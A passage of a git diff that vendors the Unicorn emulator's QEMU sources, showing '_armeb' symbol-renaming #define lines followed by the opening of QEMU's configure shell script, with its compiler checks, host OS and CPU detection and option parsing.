tcg_gen_debug_insn_start_armeb +#define tcg_gen_deposit_i32 tcg_gen_deposit_i32_armeb +#define tcg_gen_exit_tb tcg_gen_exit_tb_armeb +#define tcg_gen_ext16s_i32 tcg_gen_ext16s_i32_armeb +#define tcg_gen_ext16u_i32 tcg_gen_ext16u_i32_armeb +#define tcg_gen_ext32s_i64 tcg_gen_ext32s_i64_armeb +#define tcg_gen_ext32u_i64 tcg_gen_ext32u_i64_armeb +#define tcg_gen_ext8s_i32 tcg_gen_ext8s_i32_armeb +#define tcg_gen_ext8u_i32 tcg_gen_ext8u_i32_armeb +#define tcg_gen_ext_i32_i64 tcg_gen_ext_i32_i64_armeb +#define tcg_gen_extu_i32_i64 tcg_gen_extu_i32_i64_armeb +#define tcg_gen_goto_tb tcg_gen_goto_tb_armeb +#define tcg_gen_ld_i32 tcg_gen_ld_i32_armeb +#define tcg_gen_ld_i64 tcg_gen_ld_i64_armeb +#define tcg_gen_ldst_op_i32 tcg_gen_ldst_op_i32_armeb +#define tcg_gen_ldst_op_i64 tcg_gen_ldst_op_i64_armeb +#define tcg_gen_movcond_i32 tcg_gen_movcond_i32_armeb +#define tcg_gen_movcond_i64 tcg_gen_movcond_i64_armeb +#define tcg_gen_mov_i32 tcg_gen_mov_i32_armeb +#define tcg_gen_mov_i64 tcg_gen_mov_i64_armeb +#define tcg_gen_movi_i32 tcg_gen_movi_i32_armeb +#define tcg_gen_movi_i64 tcg_gen_movi_i64_armeb +#define tcg_gen_mul_i32 tcg_gen_mul_i32_armeb +#define tcg_gen_muls2_i32 tcg_gen_muls2_i32_armeb +#define tcg_gen_mulu2_i32 tcg_gen_mulu2_i32_armeb +#define tcg_gen_neg_i32 tcg_gen_neg_i32_armeb +#define tcg_gen_neg_i64 tcg_gen_neg_i64_armeb +#define tcg_gen_not_i32 tcg_gen_not_i32_armeb +#define tcg_gen_op0 tcg_gen_op0_armeb +#define tcg_gen_op1i tcg_gen_op1i_armeb +#define tcg_gen_op2_i32 tcg_gen_op2_i32_armeb +#define tcg_gen_op2_i64 tcg_gen_op2_i64_armeb +#define tcg_gen_op2i_i32 tcg_gen_op2i_i32_armeb +#define tcg_gen_op2i_i64 tcg_gen_op2i_i64_armeb +#define tcg_gen_op3_i32 tcg_gen_op3_i32_armeb +#define tcg_gen_op3_i64 tcg_gen_op3_i64_armeb +#define tcg_gen_op4_i32 tcg_gen_op4_i32_armeb +#define tcg_gen_op4i_i32 tcg_gen_op4i_i32_armeb +#define tcg_gen_op4ii_i32 tcg_gen_op4ii_i32_armeb +#define tcg_gen_op4ii_i64 tcg_gen_op4ii_i64_armeb +#define tcg_gen_op5ii_i32 tcg_gen_op5ii_i32_armeb +#define tcg_gen_op6_i32 tcg_gen_op6_i32_armeb +#define tcg_gen_op6i_i32 tcg_gen_op6i_i32_armeb +#define tcg_gen_op6i_i64 tcg_gen_op6i_i64_armeb +#define tcg_gen_orc_i32 tcg_gen_orc_i32_armeb +#define tcg_gen_or_i32 tcg_gen_or_i32_armeb +#define tcg_gen_or_i64 tcg_gen_or_i64_armeb +#define tcg_gen_ori_i32 tcg_gen_ori_i32_armeb +#define tcg_gen_qemu_ld_i32 tcg_gen_qemu_ld_i32_armeb +#define tcg_gen_qemu_ld_i64 tcg_gen_qemu_ld_i64_armeb +#define tcg_gen_qemu_st_i32 tcg_gen_qemu_st_i32_armeb +#define tcg_gen_qemu_st_i64 tcg_gen_qemu_st_i64_armeb +#define tcg_gen_rotl_i32 tcg_gen_rotl_i32_armeb +#define tcg_gen_rotli_i32 tcg_gen_rotli_i32_armeb +#define tcg_gen_rotr_i32 tcg_gen_rotr_i32_armeb +#define tcg_gen_rotri_i32 tcg_gen_rotri_i32_armeb +#define tcg_gen_sar_i32 tcg_gen_sar_i32_armeb +#define tcg_gen_sari_i32 tcg_gen_sari_i32_armeb +#define tcg_gen_setcond_i32 tcg_gen_setcond_i32_armeb +#define tcg_gen_shl_i32 tcg_gen_shl_i32_armeb +#define tcg_gen_shl_i64 tcg_gen_shl_i64_armeb +#define tcg_gen_shli_i32 tcg_gen_shli_i32_armeb +#define tcg_gen_shli_i64 tcg_gen_shli_i64_armeb +#define tcg_gen_shr_i32 tcg_gen_shr_i32_armeb +#define tcg_gen_shifti_i64 tcg_gen_shifti_i64_armeb +#define tcg_gen_shr_i64 tcg_gen_shr_i64_armeb +#define tcg_gen_shri_i32 tcg_gen_shri_i32_armeb +#define tcg_gen_shri_i64 tcg_gen_shri_i64_armeb +#define tcg_gen_st_i32 tcg_gen_st_i32_armeb +#define tcg_gen_st_i64 tcg_gen_st_i64_armeb +#define tcg_gen_sub_i32 tcg_gen_sub_i32_armeb +#define tcg_gen_sub_i64 tcg_gen_sub_i64_armeb +#define tcg_gen_subi_i32 tcg_gen_subi_i32_armeb +#define tcg_gen_trunc_i64_i32 tcg_gen_trunc_i64_i32_armeb +#define tcg_gen_trunc_shr_i64_i32 tcg_gen_trunc_shr_i64_i32_armeb +#define tcg_gen_xor_i32 tcg_gen_xor_i32_armeb +#define tcg_gen_xor_i64 tcg_gen_xor_i64_armeb +#define tcg_gen_xori_i32 tcg_gen_xori_i32_armeb +#define tcg_get_arg_str_i32 tcg_get_arg_str_i32_armeb +#define tcg_get_arg_str_i64 tcg_get_arg_str_i64_armeb +#define tcg_get_arg_str_idx tcg_get_arg_str_idx_armeb +#define tcg_global_mem_new_i32 tcg_global_mem_new_i32_armeb +#define tcg_global_mem_new_i64 tcg_global_mem_new_i64_armeb +#define tcg_global_mem_new_internal tcg_global_mem_new_internal_armeb +#define tcg_global_reg_new_i32 tcg_global_reg_new_i32_armeb +#define tcg_global_reg_new_i64 tcg_global_reg_new_i64_armeb +#define tcg_global_reg_new_internal tcg_global_reg_new_internal_armeb +#define tcg_handle_interrupt tcg_handle_interrupt_armeb +#define tcg_init tcg_init_armeb +#define tcg_invert_cond tcg_invert_cond_armeb +#define tcg_la_bb_end tcg_la_bb_end_armeb +#define tcg_la_br_end tcg_la_br_end_armeb +#define tcg_la_func_end tcg_la_func_end_armeb +#define tcg_liveness_analysis tcg_liveness_analysis_armeb +#define tcg_malloc tcg_malloc_armeb +#define tcg_malloc_internal tcg_malloc_internal_armeb +#define tcg_op_defs_org tcg_op_defs_org_armeb +#define tcg_opt_gen_mov tcg_opt_gen_mov_armeb +#define tcg_opt_gen_movi tcg_opt_gen_movi_armeb +#define tcg_optimize tcg_optimize_armeb +#define tcg_out16 tcg_out16_armeb +#define tcg_out32 tcg_out32_armeb +#define tcg_out64 tcg_out64_armeb +#define tcg_out8 tcg_out8_armeb +#define tcg_out_addi tcg_out_addi_armeb +#define tcg_out_branch tcg_out_branch_armeb +#define tcg_out_brcond32 tcg_out_brcond32_armeb +#define tcg_out_brcond64 tcg_out_brcond64_armeb +#define tcg_out_bswap32 tcg_out_bswap32_armeb +#define tcg_out_bswap64 tcg_out_bswap64_armeb +#define tcg_out_call tcg_out_call_armeb +#define tcg_out_cmp tcg_out_cmp_armeb +#define tcg_out_ext16s tcg_out_ext16s_armeb +#define tcg_out_ext16u tcg_out_ext16u_armeb +#define tcg_out_ext32s tcg_out_ext32s_armeb +#define tcg_out_ext32u tcg_out_ext32u_armeb +#define tcg_out_ext8s tcg_out_ext8s_armeb +#define tcg_out_ext8u tcg_out_ext8u_armeb +#define tcg_out_jmp tcg_out_jmp_armeb +#define tcg_out_jxx tcg_out_jxx_armeb +#define tcg_out_label tcg_out_label_armeb +#define tcg_out_ld tcg_out_ld_armeb +#define tcg_out_modrm tcg_out_modrm_armeb +#define tcg_out_modrm_offset tcg_out_modrm_offset_armeb +#define tcg_out_modrm_sib_offset tcg_out_modrm_sib_offset_armeb +#define tcg_out_mov tcg_out_mov_armeb +#define tcg_out_movcond32 tcg_out_movcond32_armeb +#define tcg_out_movcond64 tcg_out_movcond64_armeb +#define tcg_out_movi tcg_out_movi_armeb +#define tcg_out_op tcg_out_op_armeb +#define tcg_out_pop tcg_out_pop_armeb +#define tcg_out_push tcg_out_push_armeb +#define tcg_out_qemu_ld tcg_out_qemu_ld_armeb +#define tcg_out_qemu_ld_direct tcg_out_qemu_ld_direct_armeb +#define tcg_out_qemu_ld_slow_path tcg_out_qemu_ld_slow_path_armeb +#define tcg_out_qemu_st tcg_out_qemu_st_armeb +#define tcg_out_qemu_st_direct tcg_out_qemu_st_direct_armeb +#define tcg_out_qemu_st_slow_path tcg_out_qemu_st_slow_path_armeb +#define tcg_out_reloc tcg_out_reloc_armeb +#define tcg_out_rolw_8 tcg_out_rolw_8_armeb +#define tcg_out_setcond32 tcg_out_setcond32_armeb +#define tcg_out_setcond64 tcg_out_setcond64_armeb +#define tcg_out_shifti tcg_out_shifti_armeb +#define tcg_out_st tcg_out_st_armeb +#define tcg_out_tb_finalize tcg_out_tb_finalize_armeb +#define tcg_out_tb_init tcg_out_tb_init_armeb +#define tcg_out_tlb_load tcg_out_tlb_load_armeb +#define tcg_out_vex_modrm tcg_out_vex_modrm_armeb +#define tcg_patch32 tcg_patch32_armeb +#define tcg_patch8 tcg_patch8_armeb +#define tcg_pcrel_diff tcg_pcrel_diff_armeb +#define tcg_pool_reset tcg_pool_reset_armeb +#define tcg_prologue_init tcg_prologue_init_armeb +#define tcg_ptr_byte_diff tcg_ptr_byte_diff_armeb +#define tcg_reg_alloc tcg_reg_alloc_armeb +#define tcg_reg_alloc_bb_end tcg_reg_alloc_bb_end_armeb +#define tcg_reg_alloc_call tcg_reg_alloc_call_armeb +#define tcg_reg_alloc_mov tcg_reg_alloc_mov_armeb +#define tcg_reg_alloc_movi tcg_reg_alloc_movi_armeb +#define tcg_reg_alloc_op tcg_reg_alloc_op_armeb +#define tcg_reg_alloc_start tcg_reg_alloc_start_armeb +#define tcg_reg_free tcg_reg_free_armeb +#define tcg_reg_sync tcg_reg_sync_armeb +#define tcg_set_frame tcg_set_frame_armeb +#define tcg_set_nop tcg_set_nop_armeb +#define tcg_swap_cond tcg_swap_cond_armeb +#define tcg_target_callee_save_regs tcg_target_callee_save_regs_armeb +#define tcg_target_call_iarg_regs tcg_target_call_iarg_regs_armeb +#define tcg_target_call_oarg_regs tcg_target_call_oarg_regs_armeb +#define tcg_target_const_match tcg_target_const_match_armeb +#define tcg_target_init tcg_target_init_armeb +#define tcg_target_qemu_prologue tcg_target_qemu_prologue_armeb +#define tcg_target_reg_alloc_order tcg_target_reg_alloc_order_armeb +#define tcg_temp_alloc tcg_temp_alloc_armeb +#define tcg_temp_free_i32 tcg_temp_free_i32_armeb +#define tcg_temp_free_i64 tcg_temp_free_i64_armeb +#define tcg_temp_free_internal tcg_temp_free_internal_armeb +#define tcg_temp_local_new_i32 tcg_temp_local_new_i32_armeb +#define tcg_temp_local_new_i64 tcg_temp_local_new_i64_armeb +#define tcg_temp_new_i32 tcg_temp_new_i32_armeb +#define tcg_temp_new_i64 tcg_temp_new_i64_armeb +#define tcg_temp_new_internal tcg_temp_new_internal_armeb +#define tcg_temp_new_internal_i32 tcg_temp_new_internal_i32_armeb +#define tcg_temp_new_internal_i64 tcg_temp_new_internal_i64_armeb +#define tdb_hash tdb_hash_armeb +#define teecr_write teecr_write_armeb +#define teehbr_access teehbr_access_armeb +#define temp_allocate_frame temp_allocate_frame_armeb +#define temp_dead temp_dead_armeb +#define temps_are_copies temps_are_copies_armeb +#define temp_save temp_save_armeb +#define temp_sync temp_sync_armeb +#define tgen_arithi tgen_arithi_armeb +#define tgen_arithr tgen_arithr_armeb +#define thumb2_logic_op thumb2_logic_op_armeb +#define ti925t_initfn ti925t_initfn_armeb +#define tlb_add_large_page tlb_add_large_page_armeb +#define tlb_flush_entry tlb_flush_entry_armeb +#define tlbi_aa64_asid_is_write tlbi_aa64_asid_is_write_armeb +#define tlbi_aa64_asid_write tlbi_aa64_asid_write_armeb +#define tlbi_aa64_vaa_is_write tlbi_aa64_vaa_is_write_armeb +#define tlbi_aa64_vaa_write tlbi_aa64_vaa_write_armeb +#define tlbi_aa64_va_is_write tlbi_aa64_va_is_write_armeb +#define tlbi_aa64_va_write tlbi_aa64_va_write_armeb +#define tlbiall_is_write tlbiall_is_write_armeb +#define tlbiall_write tlbiall_write_armeb +#define tlbiasid_is_write tlbiasid_is_write_armeb +#define tlbiasid_write tlbiasid_write_armeb +#define tlbimvaa_is_write tlbimvaa_is_write_armeb +#define tlbimvaa_write tlbimvaa_write_armeb +#define tlbimva_is_write tlbimva_is_write_armeb +#define tlbimva_write tlbimva_write_armeb +#define tlb_is_dirty_ram tlb_is_dirty_ram_armeb +#define tlb_protect_code tlb_protect_code_armeb +#define tlb_reset_dirty_range tlb_reset_dirty_range_armeb +#define tlb_reset_dirty_range_all tlb_reset_dirty_range_all_armeb +#define tlb_set_dirty tlb_set_dirty_armeb +#define tlb_set_dirty1 tlb_set_dirty1_armeb +#define tlb_unprotect_code_phys tlb_unprotect_code_phys_armeb +#define tlb_vaddr_to_host tlb_vaddr_to_host_armeb +#define token_get_type token_get_type_armeb +#define token_get_value token_get_value_armeb +#define token_is_escape token_is_escape_armeb +#define token_is_keyword token_is_keyword_armeb +#define token_is_operator token_is_operator_armeb +#define tokens_append_from_iter tokens_append_from_iter_armeb +#define to_qiv to_qiv_armeb +#define to_qov to_qov_armeb +#define tosa_init tosa_init_armeb +#define tosa_machine_init tosa_machine_init_armeb +#define tswap32 tswap32_armeb +#define tswap64 tswap64_armeb +#define type_class_get_size type_class_get_size_armeb +#define type_get_by_name type_get_by_name_armeb +#define type_get_parent type_get_parent_armeb +#define type_has_parent type_has_parent_armeb +#define type_initialize type_initialize_armeb +#define type_initialize_interface type_initialize_interface_armeb +#define type_is_ancestor type_is_ancestor_armeb +#define type_new type_new_armeb +#define type_object_get_size type_object_get_size_armeb +#define type_register_internal type_register_internal_armeb +#define type_table_add type_table_add_armeb +#define type_table_get type_table_get_armeb +#define type_table_lookup type_table_lookup_armeb +#define uint16_to_float32 uint16_to_float32_armeb +#define uint16_to_float64 uint16_to_float64_armeb +#define uint32_to_float32 uint32_to_float32_armeb +#define uint32_to_float64 uint32_to_float64_armeb +#define uint64_to_float128 uint64_to_float128_armeb +#define uint64_to_float32 uint64_to_float32_armeb +#define uint64_to_float64 uint64_to_float64_armeb +#define unassigned_io_ops unassigned_io_ops_armeb +#define unassigned_io_read unassigned_io_read_armeb +#define unassigned_io_write unassigned_io_write_armeb +#define unassigned_mem_accepts unassigned_mem_accepts_armeb +#define unassigned_mem_ops unassigned_mem_ops_armeb +#define unassigned_mem_read unassigned_mem_read_armeb +#define unassigned_mem_write unassigned_mem_write_armeb +#define update_spsel update_spsel_armeb +#define v6_cp_reginfo v6_cp_reginfo_armeb +#define v6k_cp_reginfo v6k_cp_reginfo_armeb +#define v7_cp_reginfo v7_cp_reginfo_armeb +#define v7mp_cp_reginfo v7mp_cp_reginfo_armeb +#define v7m_pop v7m_pop_armeb +#define v7m_push v7m_push_armeb +#define v8_cp_reginfo v8_cp_reginfo_armeb +#define v8_el2_cp_reginfo v8_el2_cp_reginfo_armeb +#define v8_el3_cp_reginfo v8_el3_cp_reginfo_armeb +#define v8_el3_no_el2_cp_reginfo v8_el3_no_el2_cp_reginfo_armeb +#define vapa_cp_reginfo vapa_cp_reginfo_armeb +#define vbar_write vbar_write_armeb +#define vfp_exceptbits_from_host vfp_exceptbits_from_host_armeb +#define vfp_exceptbits_to_host vfp_exceptbits_to_host_armeb +#define vfp_get_fpcr vfp_get_fpcr_armeb +#define vfp_get_fpscr vfp_get_fpscr_armeb +#define vfp_get_fpsr vfp_get_fpsr_armeb +#define vfp_reg_offset vfp_reg_offset_armeb +#define vfp_set_fpcr vfp_set_fpcr_armeb +#define vfp_set_fpscr vfp_set_fpscr_armeb +#define vfp_set_fpsr vfp_set_fpsr_armeb +#define visit_end_implicit_struct visit_end_implicit_struct_armeb +#define visit_end_list visit_end_list_armeb +#define visit_end_struct visit_end_struct_armeb +#define visit_end_union visit_end_union_armeb +#define visit_get_next_type visit_get_next_type_armeb +#define visit_next_list visit_next_list_armeb +#define visit_optional visit_optional_armeb +#define visit_start_implicit_struct visit_start_implicit_struct_armeb +#define visit_start_list visit_start_list_armeb +#define visit_start_struct visit_start_struct_armeb +#define visit_start_union visit_start_union_armeb +#define vmsa_cp_reginfo vmsa_cp_reginfo_armeb +#define vmsa_tcr_el1_write vmsa_tcr_el1_write_armeb +#define vmsa_ttbcr_raw_write vmsa_ttbcr_raw_write_armeb +#define vmsa_ttbcr_reset vmsa_ttbcr_reset_armeb +#define vmsa_ttbcr_write vmsa_ttbcr_write_armeb +#define vmsa_ttbr_write vmsa_ttbr_write_armeb +#define write_cpustate_to_list write_cpustate_to_list_armeb +#define write_list_to_cpustate write_list_to_cpustate_armeb +#define write_raw_cp_reg write_raw_cp_reg_armeb +#define X86CPURegister32_lookup X86CPURegister32_lookup_armeb +#define x86_op_defs x86_op_defs_armeb +#define xpsr_read xpsr_read_armeb +#define xpsr_write xpsr_write_armeb +#define xscale_cpar_write xscale_cpar_write_armeb +#define xscale_cp_reginfo xscale_cp_reginfo_armeb +#define ARM_REGS_STORAGE_SIZE ARM_REGS_STORAGE_SIZE_armeb +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/configure b/ai_anti_malware/unicorn/unicorn-master/qemu/configure new file mode 100644 index 0000000..b5d52d7 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/configure @@ -0,0 +1,1364 @@ +#!/bin/sh +# +# qemu configure script (c) 2003 Fabrice Bellard +# + +# Unset some variables known to interfere with behavior of common tools, +# just as autoconf does. +CLICOLOR_FORCE= GREP_OPTIONS= +unset CLICOLOR_FORCE GREP_OPTIONS + +# Temporary directory used for files created while +# configure runs. Since it is in the build directory +# we can safely blow away any previous version of it +# (and we need not jump through hoops to try to delete +# it when configure exits.) +TMPDIR1="config-temp" +rm -rf "${TMPDIR1}" +mkdir -p "${TMPDIR1}" +if [ $? -ne 0 ]; then + echo "ERROR: failed to create temporary directory" + exit 1 +fi + +TMPB="qemu-conf" +TMPC="${TMPDIR1}/${TMPB}.c" +TMPO="${TMPDIR1}/${TMPB}.o" +TMPE="${TMPDIR1}/${TMPB}.exe" + +rm -f config.log + +# Print a helpful header at the top of config.log +echo "# QEMU configure log $(date)" >> config.log +printf "# Configured with:" >> config.log +printf " '%s'" "$0" "$@" >> config.log +echo >> config.log +echo "#" >> config.log + +error_exit() { + echo + echo "ERROR: $1" + while test -n "$2"; do + echo " $2" + shift + done + echo + exit 1 +} + +do_compiler() { + # Run the compiler, capturing its output to the log. First argument + # is compiler binary to execute. + local compiler="$1" + shift + echo $compiler "$@" >> config.log + $compiler "$@" >> config.log 2>&1 || return $? + # Test passed. If this is an --enable-werror build, rerun + # the test with -Werror and bail out if it fails. This + # makes warning-generating-errors in configure test code + # obvious to developers. + if test "$werror" != "yes"; then + return 0 + fi + # Don't bother rerunning the compile if we were already using -Werror + case "$*" in + *-Werror*) + return 0 + ;; + esac + echo $compiler -Werror "$@" >> config.log + $compiler -Werror "$@" >> config.log 2>&1 && return $? + error_exit "configure test passed without -Werror but failed with -Werror." \ + "This is probably a bug in the configure script. The failing command" \ + "will be at the bottom of config.log." \ + "You can run configure with --disable-werror to bypass this check." +} + +do_cc() { + do_compiler "$cc" "$@" +} + +compile_object() { + do_cc $QEMU_CFLAGS -c -o $TMPO $TMPC +} + +compile_prog() { + local_cflags="$1" + local_ldflags="$2" + do_cc $QEMU_CFLAGS $local_cflags -o $TMPE $TMPC $LDFLAGS $local_ldflags +} + +# symbolically link $1 to $2. Portable version of "ln -sf". +symlink() { + rm -rf "$2" + mkdir -p "$(dirname "$2")" + ln -s "$1" "$2" +} + +# check whether a command is available to this shell (may be either an +# executable or a builtin) +has() { + type "$1" >/dev/null 2>&1 +} + +# search for an executable in PATH +path_of() { + local_command="$1" + local_ifs="$IFS" + local_dir="" + + # pathname has a dir component? + if [ "${local_command#*/}" != "$local_command" ]; then + if [ -x "$local_command" ] && [ ! -d "$local_command" ]; then + echo "$local_command" + return 0 + fi + fi + if [ -z "$local_command" ]; then + return 1 + fi + + IFS=: + for local_dir in $PATH; do + if [ -x "$local_dir/$local_command" ] && [ ! -d "$local_dir/$local_command" ]; then + echo "$local_dir/$local_command" + IFS="${local_ifs:-$(printf ' \t\n')}" + return 0 + fi + done + # not found + IFS="${local_ifs:-$(printf ' \t\n')}" + return 1 +} + +# default parameters +source_path=`dirname "$0"` +cpu="" +static="no" +cross_prefix="" +host_cc="cc" +cc_i386=i386-pc-linux-gnu-gcc +debug_info="yes" +stack_protector="" + +# Don't accept a target_list environment variable. +unset target_list + +# Default value for a variable defining feature "foo". +# * foo="no" feature will only be used if --enable-foo arg is given +# * foo="" feature will be searched for, and if found, will be used +# unless --disable-foo is given +# * foo="yes" this value will only be set by --enable-foo flag. +# feature will searched for, +# if not found, configure exits with error +# +# Always add --enable-foo and --disable-foo command line args. +# Distributions want to ensure that several features are compiled in, and it +# is impossible without a --enable-foo that exits if a feature is not found. + +debug_tcg="no" +debug="no" +strip_opt="yes" +bigendian="no" +mingw32="no" +EXESUF="" +DSOSUF=".so" +LDFLAGS_SHARED="-shared" +bsd="no" +linux="no" +solaris="no" +softmmu="yes" +aix="no" +pie="" + +# parse CC options first +for opt do + optarg=`expr "x$opt" : 'x[^=]*=\(.*\)'` + case "$opt" in + --cc=*) CC="$optarg" + ;; + --source-path=*) source_path="$optarg" + ;; + --cpu=*) cpu="$optarg" + ;; + --extra-cflags=*) QEMU_CFLAGS="$optarg $QEMU_CFLAGS" + EXTRA_CFLAGS="$optarg" + ;; + --extra-ldflags=*) LDFLAGS="$optarg $LDFLAGS" + EXTRA_LDFLAGS="$optarg" + ;; + --enable-debug-info) debug_info="yes" + ;; + --disable-debug-info) debug_info="no" + ;; + esac +done +# OS specific +# Using uname is really, really broken. Once we have the right set of checks +# we can eliminate its usage altogether. + +# Preferred compiler: +# ${CC} (if set) +# ${cross_prefix}gcc (if cross-prefix specified) +# system compiler +if test -z "${CC}${cross_prefix}"; then + cc="$host_cc" +else + cc="${CC-${cross_prefix}gcc}" +fi + +ar="${AR-${cross_prefix}ar}" +as="${AS-${cross_prefix}as}" +cpp="${CPP-$cc -E}" +objcopy="${OBJCOPY-${cross_prefix}objcopy}" +ld="${LD-${cross_prefix}ld}" +nm="${NM-${cross_prefix}nm}" +strip="${STRIP-${cross_prefix}strip}" + +# If the user hasn't specified ARFLAGS, default to 'rv', just as make does. +ARFLAGS="${ARFLAGS-rv}" + +# default flags for all hosts +QEMU_CFLAGS="-fno-strict-aliasing -fno-common $QEMU_CFLAGS" +QEMU_CFLAGS="-Wall -Wundef -Wwrite-strings -Wmissing-prototypes $QEMU_CFLAGS" +QEMU_CFLAGS="-Wstrict-prototypes -Wredundant-decls $QEMU_CFLAGS" +QEMU_CFLAGS="-D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE $QEMU_CFLAGS" +QEMU_INCLUDES="-I. -I\$(SRC_PATH) -I\$(SRC_PATH)/include" +if test "$debug_info" = "yes"; then + CFLAGS="-g $CFLAGS" + LDFLAGS="-g $LDFLAGS" +else + CFLAGS="-O3 $CFLAGS" + LDFLAGS="-O3 $LDFLAGS" +fi + +# make source path absolute +source_path=`cd "$source_path"; pwd` + +# running configure in the source tree? +# we know that's the case if configure is there. +if test -f "./configure"; then + pwd_is_source_path="y" +else + pwd_is_source_path="n" +fi + +check_define() { +cat > $TMPC <<EOF +#if !defined($1) +#error $1 not defined +#endif +int main(void) { return 0; } +EOF + compile_object +} + +if check_define __linux__ ; then + targetos="Linux" +elif check_define _WIN32 ; then + targetos='MINGW32' +elif check_define __OpenBSD__ ; then + targetos='OpenBSD' +elif check_define __sun__ ; then + targetos='SunOS' +elif check_define __HAIKU__ ; then + targetos='Haiku' +else + targetos=`uname -s` +fi + +# Some host OSes need non-standard checks for which CPU to use. +# Note that these checks are broken for cross-compilation: if you're +# cross-compiling to one of these OSes then you'll need to specify +# the correct CPU with the --cpu option. +case $targetos in +Darwin) + # on Leopard most of the system is 32-bit, so we have to ask the kernel if we can + # run 64-bit userspace code. + # If the user didn't specify a CPU explicitly and the kernel says this is + # 64 bit hw, then assume x86_64. Otherwise fall through to the usual detection code. + if test -z "$cpu" && test "$(sysctl -n hw.optional.x86_64)" = "1"; then + cpu="x86_64" + fi + ;; +SunOS) + # `uname -m` returns i86pc even on an x86_64 box, so default based on isainfo + if test -z "$cpu" && test "$(isainfo -k)" = "amd64"; then + cpu="x86_64" + fi +esac + +if test ! -z "$cpu" ; then + # command line argument + : +elif check_define __i386__ ; then + cpu="i386" +elif check_define __x86_64__ ; then + if check_define __ILP32__ ; then + cpu="x32" + else + cpu="x86_64" + fi +elif check_define __sparc__ ; then + if check_define __arch64__ ; then + cpu="sparc64" + else + cpu="sparc" + fi +elif check_define _ARCH_PPC ; then + if check_define _ARCH_PPC64 ; then + cpu="ppc64" + else + cpu="ppc" + fi +elif check_define __mips__ ; then + cpu="mips" +elif check_define __ia64__ ; then + cpu="ia64" +elif check_define __s390__ ; then + if check_define __s390x__ ; then + cpu="s390x" + else + cpu="s390" + fi +elif check_define __arm__ ; then + cpu="arm" +elif check_define __aarch64__ ; then + cpu="aarch64" +elif check_define __hppa__ ; then + cpu="hppa" +else + cpu=`uname -m` +fi + +ARCH= +# Normalise host CPU name and set ARCH. +# Note that this case should only have supported host CPUs, not guests. +case "$cpu" in + ia64|ppc|ppc64|s390|s390x|sparc64|x32) + cpu="$cpu" + ;; + i386|i486|i586|i686|i86pc|BePC) + cpu="i386" + ;; + x86_64|amd64) + cpu="x86_64" + ;; + armv*b|armv*l|arm) + cpu="arm" + ;; + aarch64|aarch64eb) + cpu="aarch64" + ;; + mips*) + cpu="mips" + ;; + sparc|sun4[cdmuv]) + cpu="sparc" + ;; + *) + # This will result in either an error or falling back to TCI later + ARCH=unknown + ;; +esac +if test -z "$ARCH"; then + ARCH="$cpu" +fi + +# OS specific + +case $targetos in +CYGWIN*) + linux="yes" +;; +MINGW32*) + mingw32="yes" +;; +GNU/kFreeBSD) + bsd="yes" +;; +FreeBSD) + bsd="yes" + make="${MAKE-gmake}" + # needed for kinfo_getvmmap(3) in libutil.h + LIBS="-lutil $LIBS" +;; +DragonFly) + bsd="yes" + make="${MAKE-gmake}" +;; +NetBSD) + bsd="yes" + make="${MAKE-gmake}" +;; +OpenBSD) + bsd="yes" + make="${MAKE-gmake}" +;; +Darwin) + bsd="yes" + darwin="yes" + LDFLAGS_SHARED="-bundle -undefined dynamic_lookup" + if [ "$cpu" = "x86_64" ] ; then + QEMU_CFLAGS="-arch x86_64 $QEMU_CFLAGS" + LDFLAGS="-arch x86_64 $LDFLAGS" + fi + # Disable attempts to use ObjectiveC features in os/object.h since they + # won't work when we're compiling with gcc as a C compiler. + QEMU_CFLAGS="-DOS_OBJECT_USE_OBJC=0 $QEMU_CFLAGS" +;; +SunOS) + solaris="yes" + make="${MAKE-gmake}" + ld="gld" + needs_libsunmath="no" + solarisrev=`uname -r | cut -f2 -d.` + if [ "$cpu" = "i386" -o "$cpu" = "x86_64" ] ; then + if test "$solarisrev" -le 9 ; then + if test -f /opt/SUNWspro/prod/lib/libsunmath.so.1; then + needs_libsunmath="yes" + QEMU_CFLAGS="-I/opt/SUNWspro/prod/include/cc $QEMU_CFLAGS" + LDFLAGS="-L/opt/SUNWspro/prod/lib -R/opt/SUNWspro/prod/lib $LDFLAGS" + LIBS="-lsunmath $LIBS" + else + error_exit "QEMU will not link correctly on Solaris 8/X86 or 9/x86 without" \ + "libsunmath from the Sun Studio compilers tools, due to a lack of" \ + "C99 math features in libm.so in Solaris 8/x86 and Solaris 9/x86" \ + "Studio 11 can be downloaded from www.sun.com." + fi + fi + fi +# needed for CMSG_ macros in sys/socket.h + QEMU_CFLAGS="-D_XOPEN_SOURCE=600 $QEMU_CFLAGS" +# needed for TIOCWIN* defines in termios.h + QEMU_CFLAGS="-D__EXTENSIONS__ $QEMU_CFLAGS" + QEMU_CFLAGS="-std=gnu99 $QEMU_CFLAGS" + solarisnetlibs="-lsocket -lnsl -lresolv" + LIBS="$solarisnetlibs $LIBS" +;; +AIX) + aix="yes" + make="${MAKE-gmake}" +;; +Haiku) + haiku="yes" + QEMU_CFLAGS="-DB_USE_POSITIVE_POSIX_ERRORS $QEMU_CFLAGS" + LIBS="-lposix_error_mapper -lnetwork $LIBS" +;; +*) + linux="yes" +;; +esac + +: ${make=${MAKE-make}} + +# Default objcc to clang if available, otherwise use CC +if has clang; then + objcc=clang +else + objcc="$cc" +fi + +if test "$mingw32" = "yes" ; then + EXESUF=".exe" + DSOSUF=".dll" + QEMU_CFLAGS="-DWIN32_LEAN_AND_MEAN -DWINVER=0x501 $QEMU_CFLAGS" + # enable C99/POSIX format strings (needs mingw32-runtime 3.15 or later) + QEMU_CFLAGS="-D__USE_MINGW_ANSI_STDIO=1 $QEMU_CFLAGS" + LIBS="-lwinmm -lws2_32 -liphlpapi $LIBS" +cat > $TMPC << EOF +int main(void) { return 0; } +EOF + if compile_prog "" "-liberty" ; then + LIBS="-liberty $LIBS" + fi +fi + +werror="" + +for opt do + optarg=`expr "x$opt" : 'x[^=]*=\(.*\)'` + case "$opt" in + --help|-h) show_help=yes + ;; + --version|-V) exec cat $source_path/VERSION + ;; + --source-path=*) + ;; + --cc=*) + ;; + --host-cc=*) host_cc="$optarg" + ;; + --objcc=*) objcc="$optarg" + ;; + --make=*) make="$optarg" + ;; + --extra-cflags=*) + ;; + --extra-ldflags=*) + ;; + --enable-debug-info) + ;; + --disable-debug-info) + ;; + --cpu=*) + ;; + --target-list=*) target_list="$optarg" + ;; + --static) + static="yes" + LDFLAGS="-static $LDFLAGS" + ;; + 